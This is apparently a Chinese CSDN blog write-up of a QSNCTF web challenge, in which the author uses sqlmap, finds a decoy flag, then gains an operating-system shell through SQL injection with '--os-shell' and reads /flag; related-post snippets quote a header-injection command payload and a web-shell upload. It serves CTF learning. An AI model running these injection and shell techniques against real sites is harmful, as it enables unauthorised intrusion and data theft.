【Web】青少年CTF练习平台-文章管理系统

最新推荐文章于 2024-05-13 01:21:49 发布
最新推荐文章于 2024-05-13 01:21:49 发布
阅读量1.2k 收藏 17
点赞数 15
文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cq_tanyu/article/details/136212915
版权

在这道题上面困了有一会儿，之前一直拿到的是假FLAG，所以简单记录一下
在这里插入图片描述
直接尝试用SQLmap跑
在这里插入图片描述
后在数据库word表的articles列
拿下FLAG：qsnctf{sql+so+easy!!!!}
得到假的FLAG
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
根据提示
在这里插入图片描述
尝试转换思路，用SQLmap执行shell

sqlmap -u "http://challenge.qsnctf.com:32030/?id=1" --os-shell

在这里插入图片描述
在这里插入图片描述
查找“flag”

find / -name "flag"

发现/flag目录，拿下FLAG

cat /flag

在这里插入图片描述

itanyu
关注
  • 15
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
BugKuCTF WEB
让我再浪一会 的博客
11-24 525
文章目录BugKuCTF WEB一、web2二、计算器三、web基础$_GET四、web基础$_POST五、矛盾六、web3七、域名解析八、你必须让他停下九、变量1十、web5十一、头等舱十二、网站被黑十三、管理员系统十四、web4十五、flag在index里十六、输入密码查看flag BugKuCTF WEB 平台地址 一、web2 进入网页，查看源代码，在其中找到flag 二、计算器 进入网页，根据题目可得知需要输入运算结果，但限制了输入的数字的个数，查看网页的JS代码，将 maxlength =
青少年CTF-文章管理系统
CTF
03-08 600
打开容器后发现好像是sql注入类的问题，先尝试查找注入点发现出现的flag的值竟然是错误的值。再查找带有flag的文件名，先用sqlmap跑一下，
青少年CTF 文章管理系统
kuangbaofeiyang的博客
08-24 1141
这里很显然有问题我们尝试用sqlmap跑一遍。这里users表没找到我们要找的数据。点击下一页,url弹出id=1。我换了一个word表找到了。
【CTF Web】QSNCTF 文章管理系统 Writeup（SQL注入+Linux命令+RCE）
最新发布
HEX9CF的技术博客
05-13 552
题目描述这是我们的文章管理系统，快来看看有什么漏洞可以拿到FLAG吧？注意：可能有个假FLAG哦。
青少年CTF wp合集
t235336456的博客
09-26 1581
MISC部分 1.上号 分离出来后发现有个压缩包，直接解压， 结果是这张图片，根据提示直接放到steghide（想要工具的可以私聊我），然后steg使用的话没啥命令，但是要用cmd进到steghude.exe的目录下，steghide embed -cf [图片文件载体] -ef [待隐藏文件]，然后回车，最后再输入密码。就出了，挺简单的一道～ 嗷对了这道题的密码，我是自己试出来的，就是qsnctf（太幽默了）
Buuctf [网鼎杯 2020 青龙组]jocker 题解
OrientalGlass的博客
03-11 1425
1.提示:,出现了堆栈不平衡的情况2.函数的作用是取消encrypt函数所在区域的读写保护,为下方给函数脱壳做准备3.首先输入一个字符串input,判断长度是否为24,然后复制到str中;4.wrong函数对input串加密,加密后由omg函数进行判断是否满足条件,但是根据这两条函数得到的flag是假的,也就图一乐5.真正的flag要根据encrypt和finally函数以及str串(原始的input)来求得二.wrong函数和omg函数--假flag1.wrong函数很普通的一个加密。
ctf-all-in-one
01-30
ctf-all-in-one
CTF-Web-Challenge:使用PHP在Web中进行CTF挑战
03-25
在这个"CTF-Web-Challenge"中，你将有机会学习和实践如何在Web环境中识别和利用漏洞。 PHP是一种广泛使用的服务器端脚本语言，特别适合开发动态网站。在CTF挑战中，你可能会遇到的PHP相关知识点包括： 1. **PHP...
CTF-misc工具2-CTF-Tools-masterV1.3.7
08-17
CTF-Tools-master是一个专注于密码编码识别与解码的工具,能自动推断密码的编码类型,并进行解码。 适用人群: 该工具主要适用于参加CTF竞赛的选手,以及对密码编码算法感兴趣的信息安全从业人员。 使用场景: 在CTF竞赛...
CTF-100题.-天天练习-学习
11-01
CTF-100题.-----------------天天练习------------------学习 100小题，试例练习
小孔子文章管理系统
10-07
asp.net+access
CTF-AWD-WEB:AWD 模式下的WEB试题仓库
05-17
在"CTF-AWD-WEB"中，重点在于Web安全领域，涵盖了各种Web应用漏洞和防护技巧。 本资源"CTF-AWD-WEB"是一个包含了多个AWD模式下Web试题的仓库，这些试题可能来源于不同的CTF线下赛事。通过这些试题，学习者可以深入...
青少年CTF训练平台-WEB-部分wp
SwBack的博客
04-04 2356
扫描发现备份文件 打开发现flag直接上传,然后获取flag木马地址,通过扫描目录发现。直接添加请求头user-agentt: zerodiumsystem(‘cat /flag’);连接之后,查找具有权限的命令根据提示直接发现flag 提示说明没有中文但是仍然错误,查看shadow,通过john破解密码 用户名后有$y，则表明密码已使用 yescrypt 进行哈希处理指定format参数 新手的登录 使用提示的user账号登录之后抓包修改cookie为admin。发包，得到flag访问之后直接查看js
BUUCTF web3
qq_61768489的博客
05-16 973
[WUSTCTF2020]朴实无华 这题主要就是绕过php特性 ， 访问假flag页面 ，响应头里有文件提示 访问后得到源码，这里怎么乱码了 逐个击破 if(intval($num)<2020&&intval($num+1)>2021) 这里使用e科学计数法， $num=123e3 intval($num)解析出来是123 满足<2020 intval($num+1) 解析出来是 123e3+1 满足...
Litctf——作业管理系统
m0_74093152的博客
05-21 468
访问1.php文件后，将命令system("cat /f*");赋给变量A，然后postA，获得flag。登录页面，查看源代码，找到账号密码。上传一句话木马，进行访问就可以使用。登录后，显示文件上传界面。
四叶草云演-CTF04# 后台管理系统
weixin_43973521的博客
02-22 1276
网址：https://www.yunyansec.com/#/experiment/ctf/ 题目：后台管理系统 知识点：基于约束的sql攻击 在INSERT中，SQL会根据varchar(n)来限制字符串的最大长度。如果字符串的长度大于“n”个字符的话，那么仅使用字符串的前“n”个字符。 在SQL中执行字符串处理时，字符串末尾的空格符将会被删除(结合上面的这里应该就可以构造出payload了)。 题解： 启动环境，打开首页，点击注册 注...
qsnctf
2301_79678604的博客
12-12 406
下载完安装包后，用kali虚拟机打开，解压之后直接利用strings口令。得到一串 ，之后通过查找flag得到flag。
bugku-ctf SKCTF管理系统 writeup 心得笔记
sx234com的博客
01-16 1333
最近一直着迷CTF，记录一下WEB中的一个题目解题心得。 这道题已经提示了 使用sql约束攻击。 于是准备试试， 先注册一个用户  注册成功！有点爽了感觉，然后登陆这个用户 登陆提示    冷静下来想了想 提示是利用SQL约束攻击，那么办法来了，既然上面显示只有管理员才能看见flag 那么我们先要尝试一下管理员是哪个账号，在注册界面 使用账户名admin走一发 看看账...
青少年ctf shellcode
03-15
青少年CTF（Capture The Flag）是一种网络安全竞赛，旨在培养年轻人的网络安全技能和解决问题的能力。Shellcode是一段用于利用计算机系统漏洞的机器码，通常用于执行特定的操作或获取系统权限。在青少年CTF中，学习和了解Shellcode可以帮助参赛者更好地理解和应对系统漏洞。 青少年CTF Shellcode通常包括以下内容： 1. Shellcode基础知识：了解Shellcode的定义、作用和使用场景。 2. Shellcode编写：学习如何编写Shellcode，包括使用汇编语言编写、了解不同操作系统的Shellcode编写方法等。 3. Shellcode注入：学习如何将Shellcode注入到目标系统中，以实现特定的攻击目标。 4. Shellcode调试与分析：学习如何调试和分析Shellcode，以便理解其具体功能和执行过程。 5. Shellcode防御与保护：学习如何防御和保护系统免受Shellcode攻击，包括使用安全编程技术和安全配置措施等。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值